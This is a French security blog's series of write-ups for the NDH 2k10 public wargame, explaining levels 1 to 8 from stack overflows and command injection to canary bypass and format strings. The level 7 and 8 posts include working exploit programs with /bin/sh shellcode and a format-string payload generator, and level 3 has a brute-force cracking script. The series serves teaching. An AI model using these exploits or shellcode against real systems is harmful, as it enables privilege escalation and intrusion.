raisep0wn

Geek Stuff & IT Security

Posts Tagged ‘Buffer Overflow

NDH 2K10 public wargame level1

with 2 comments

Maintenant que la NDH 2k10 commence à dater, et que la NDH 2011 arrive à grand pas, je pense qu’il est temps de publier les quelques exploits qui nous permettent d’arriver à nos fins. Plusieurs articles ont été publiés peu de temps après la publication du WarGame, Infond, m_101 pour ne citer qu’eux. Pour changer des write-up j’ai décidé de réaliser des vidéos pour les 10 niveaux du WarGame. J’ai choisi le WarGame de la NDH pour sa relative simplicité (pas d’ASLR), mais aussi parce qu’il permet de se familiariser avec les grands principes du hacking applicatif, du simple buffer overflow au rop, et passant par race conditions, stack canary, brute force, format string, et  ret2libc. C’est donc un bon WarGame pour débutant, qui vous donnera une vision générale de l’exploitation de failles applicatives, à vous d’approfondir les domaines qui vous tiennent à cœur…

Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
setresuid(geteuid(),geteuid(),geteuid());
system("sleep 1; cat /home/level2/passwd;");
exit(0);
}

int *p;
void func(char *arg)
{
char buf[16];
p = (int *)&buf[sizeof(buf)];

printf("dummy() is at: 0x%08x\n", dummy);
printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
strcpy(buf, arg);
printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));

}
int main(int argc, char *argv[])
{
if(!argv[1]) {
printf("No command found...\n");
return;
}
func(argv[1]);
}

Le level1 est une introduction aux buffers overflow. Le premier argument passé au programme est copié sans ménagement ni vérification dans un buffer de 16 octets. Si la zone mémoire réservée (16 octets) n’est pas suffisante, strcpy continuera en écrasant les données situées après la fin du buffer. Le buffer étant alloué sur la pile, nous risquons d’écraser ce qui a été précédemment empilé. Ici, les valeurs sauvegardées de EIP, puis EBP ont été empilés juste avant la création du buffer. A la fin de la fonction func(), l’instruction leave réinitialisera la stack frame, et l’instruction ret mettra SEIP dans EIP (POP->EIP). L’exploitation consistera a écraser SEIP par l’adresse de la fonction dummy, afin de rediriger le flow d’exécution et afficher le mot de passe du prochain niveau.

Références :

Publicités

Written by Ralph

28/05/2011 at 08:09

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level2

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));

if(argc<2 || strlen(argv[1])>50) {
printf("Manpage <argument>\n");
exit(0);
}

strcpy(buffer, "man ");
strcat(buffer, argv[1]);

system(buffer);
return 0;
}

Le level2 montre une utilisation dangereuse de la fonction system(). D’ailleurs, la documentation précise que cette fonction ne doit jamais être utilisée avec un programme ayant un SUID. Cette fonction permet de lancer une commande shell (ici, man, affichant le manuel), et l’argument passé au programme est inclus dans la commande. Or la syntaxe du shell permet de séparer les commandes via le caractère point-virgule, ainsi il nous est très facile de lancer une deuxième commande après man. De plus, la commande system() utilise certaines variables d’environnement qui sont contrôlées par l’utilisateur. La fonction system() va rechercher un exécutable du nom de man dans les dossiers définies dans la variable d’environnement PATH. Vous pouvez alors parfaitement contrôler quel binaire cette fonction va exécuter.

Références :

Written by Ralph

28/05/2011 at 08:08

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level3

leave a comment »


Le level3 ne contient pas de code source. Il s’agit d’un programme qui nous demande de casser un algorithme de chiffrement. Après quelques tests, on peut supposer qu’il s’agisse d’un chiffrement par substitution linéaire. Il ne nous reste plus qu’à l’attaquer par force brute. Nous allons essayer toutes les possibilités caractère par caractère. Je vous propose ci-dessous un code source python qui se chargera de ce travail pour nous.

#!/usr/bin/python
import os

target = '/home/level3/crackme'
wanted = '2:8vytm&*9|)].l(ol;a'
arg = 'a'*20
solution_string = ''
size = 1024

print "-->Brute force cracking"
for char in range(20): # bf one by one
 for ascii in range(1, 256): # for all but \0 (ascii)
  arg = solution_string + chr(ascii) + 'a'*(19-char)
  # beware of bad char :
  if arg.find("'") == -1:
   # /home/level3/crackme 'all but single quote'
   cmd = "%s '%s'"%(target, arg)
  else:
   # /home/level3/crackme "all but double quote"
   cmd = '%s "%s"'%(target, arg)
  # reading the output
  res = os.popen(cmd).read(size)
  # searching for ciphered
  pos = res.find('Ciphered:')
  # ciphered is 20 bytes length
  ciphered = res[pos+10:pos+30]
  # check current ciphered char matching with wanted
  if ciphered[char] == wanted[char]:
   solution_string = ''.join([solution_string, chr(ascii)])
   break
 print '>%d%%'%(char*5)

# print solution string
print "\nSolution string: %s"%solution_string
# print string as a list to get unprintable ascii
print "Solution ascii: %s"%[solution_string]

Références :

Written by Ralph

28/05/2011 at 08:07

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level5

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
	int array[32];

	array[frame] = value;
	printf("fill case %d with %d.\n", frame, value);
	return;
}

int main(int argc, char **argv) {
	if (argc != 3)
		printf("syntax: %s [slot] [val]\n", argv[0]);
	else
		setArray(atoi(argv[1]), atoi(argv[2]));
	exit(0);
}

Cette fois, il s’agit d’un débordement de tableau, c’est plus original. Le programme nous permet d’écrire dans une cellule du tableau, et bien sûr, aucune vérification n’est faite, ce qui nous permet d’écrire au-delà dudit tableau. Nous remarquons que la cellule 33 pointe vers SEIP. (Soit par dichotomie, soit à l’aide de gdb, mais nous n’allons pas sortir les débuggeurs dès le niveau 4 tout de même). Nous pouvons donc aisément rediriger le flux d’exécution. Cependant, nous ne pouvons plus écrire notre shellcode sur la pile… Enfin, à première vue. L’astuce consiste à cacher notre shellcode dans une variable d’environnement dont nous pouvons déterminer l’adresse mémoire à l’aide de la fonction C getenv(« env name »). Ensuite, il suffit de faire pointer EIP dessus, seulement il ne faut pas oublier de convertir l’adresse hexadécimal en décimal.

Written by Ralph

28/05/2011 at 08:05

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level6

leave a comment »


Code source de l’épreuve :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}

int main(int argc, char *argv[])
{
if(!argv[1]) return;

layer(argv[1]);
return 0;
}

Voilà quelque chose d’intéressant pour tout programmeur débutant en C. Ici nous avons un buffer de 128 octet, et nous empêchons une chaine de plus de 128 caractères d’être copiée dans ce buffer. Où est le problème ? Hé bien la fonction strlen() compte les caractères de la chaine en omettant le caractère null qui la termine. « foo » fait bien 3 caractères, mais en mémoire elle prend 4 octets [foo+null]. Lorsque strcpy() copiera une chaine de 128 caractères, elle écrasera l’octet suivant en ajoutant le caractère null. C’est ce que l’on appel un off by one. Ainsi, le dernier octet de SEBP est écrasé provoquant (ou pas) un décalage d’au plus 255 sur EBP. En bidouillant un peu, ou en ayant de la chance, après deux leave / ret, EIP pointe en plein dans notre buffer. Il ne reste plus qu’a le rediriger vers notre shellcode. La vidéo explique relativement en détail le comment du pourquoi.

Références :

Written by Ralph

28/05/2011 at 08:04

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level7

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
	unsigned int cookie = secret;
	char tmp[64] = {'\0'};

	strcpy(tmp, arg);
	if(cookie!=secret) {
		printf("It's not my cookie :(\n");
		exit(0);
	}

	return 1337;
}

int main(int argc, char *argv[])
{
	if(argc != 2) {
		printf("%s <P0wn Me!> \n", argv[0]);
		exit(0);
	}

	srand(time(NULL));
	secret = rand();

	printf("GooD Boy 🙂 %08X\n", secret);

	vuln(argv[1]);
	return 0;
}

Voilà donc ce que l’on pourrait qualifier de stack-canary. Quid ? Il s’agit en fait d’une variable que l’on va placer sur la pile pour empêcher les buffers overflow. En cas de débordement, la variable est écrasée, et le programme peut le détecter. Le challenge consiste à provoquer un buffer overflow tout en insérant le cookie à la bonne place pour pouvoir exécuter notre shellcode en passant outre cette maigre sécurité. Le cookie est calculé avec la fonction rand qui prend comme seed le temps système. De ce fait, la valeur peuso-aléatoire générée varie toutes les secondes, mais reste donc stable durant une seconde. Nous pouvons très bien calculer cette valeur aléatoire, et si nous arrivons à lancer le programme dans la même seconde, (c’est long une seoncde), alors nous pouvons prédire le cookie, et exploiter cette faille. Ensuite, en lisant le code assembleur fourni par gdb, nous nous apercevons que le cookie est empilé juste avant le buffer et se situe donc en tmp[65;68]. SEIP, lui, se trouve en tmp[81;84]. Nous avons toutes les informations necessaires à l’exploitation. Petite remarque, nous cacherons notre shellcode dans une variable d’environnement, mais nous n’utiliserons pas getenv pour en calculer l’adresse. En effet, en utilisant la fonction C execve() nous pouvons contrôler les variables d’environnements passées au programme. Nous savons que le tableau de variable se termine à l’adresse 0xbffffffc et que ce tableau contiendra notre shellcode, ainsi que le program-path. Nous pouvons donc déterminer l’adresse de notre shellcode à l’avance en calculant 0xbffffffc – len(program_path)-1 – len(shellcode)-1. Écrivons l’exploit…

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//Target program
char target_path[] = "/home/level7/level7";
char target_name[] = "level7";
//Shellcode to spawn a shell
char *shellcode[] = {"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char *argv[])
{
 char arg[85];		//Argument like {<prog> "<garbage[64]><canary[4]><garbage[12]><eip[4]>"}
 char canary[5];	//Canary in little-endian string
 char eip[5];		//Eip in little-endian string

 //Getting shellcode address in environment variable array *shellcode[]
 unsigned int shaddr = 0xbffffffc - (strlen(target_path)+1 + strlen(shellcode[0])+1);

 //Generate the random value based on system time
 srand(time(NULL));
 unsigned int r = random();

 //Convert canary and @shellcode into little-endian
 snprintf(canary, 5, "%c%c%c%c", (char)r&0x000000FF, (char)(r >> 8)&0x000000FF, (char)(r >> 16)&0x000000FF, (char)(r >> 24)&0x000000FF);
 snprintf(eip, 5, "%c%c%c%c", (char)shaddr&0x000000FF, (char)(shaddr >> 8)&0x000000FF, (char)(shaddr >> 16)&0x000000FF, (char)(shaddr >> 24)&0x000000FF);
 //Concat arg string
 snprintf(arg, 85, "----------------------------------------------------------------%s------------%s", canary, eip);

 //Debug info
 printf("Arg = %s\n", arg);
 printf("Canary = 0x%08X <-> %s\n", r, canary);
 printf("@sh = 0x%08x <-> eip = %s\n\n", shaddr, eip);

 //Exploit
 if(!execle(target_path, target_name, arg, (char *)0, shellcode))
 {
  perror("Unable to execute the target.\n");
  exit(1);
 }
 return 0;
}

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level8

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Une fonction d’apparence anodine comme printf peut cacher bien des surprises. Les formats strings. Cette fonction analyse la chaine de caractère à la recherche de spécification de conversion, les fameux caractères pour-cent que l’on utilise généralement pour afficher dans un format donné les arguments passés à la fonction. Ce challenge nous donne un contrôle total sur la chaine qu’utilise printf. En utilisant %x nous pouvons afficher le contenu de la pile. En y ajoutant le caractère dollar, nous avons un accès direct au paramètre. En clair, nous pouvons choisir la position de l’argument que nous utilisons. Ainsi %42$08x affichera le 42e octet de la pile. Et enfin, à l’aide de %n nous pouvons écrire dans un pointeur le nombre de caractère déjà inscrit. En mélangeant correctement ces différentes spécifications de conversion, nous pouvons lire et écrire à peu près partout dans la zone mémoire du programme. Nous nous contenterons d’écraser une entrée de le GOT afin de rediriger les appels à la fonction puts() vers note shellcode. La vidéo devrait vous permettre de comprendre le principe. Le script utilisé pour générer la chaine d’exploitation, et l’exploit ont été ajoutés à la fin de cet article.

#!/usr/bin/python
from sys import argv
from getopt import getopt

opt,arg = getopt(argv[1:], "g:v:o:p:l")
target = []
desire = []
offset = -1
padding = ""
LE = 0x000000FF
string = ""

for o,a in opt:
    if o == "-g":
        a = int(a, 16)
        for i in range(4):
            target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
            a += 1
    elif o == "-v":
        desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
    elif o == "-o":
        offset = int(a)
    elif o == "-p":
        padding = a

if target == [] or desire == [] or offset == -1:
    print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
    exit(1)

string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)

for i in range(4):
    string += "%c%c%c%c"%tuple(target[i])
string += "%c%c%c%c"%tuple(desire) #useless -_-"
string += padding
print string
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level8/level8";
char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char* argv[])
{
 if(!execle(target_path, target_path, argv[1], (char *)0, env))
 {
  perror("Unable to execute target.");
  exit(1);
 }
}

Références :

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,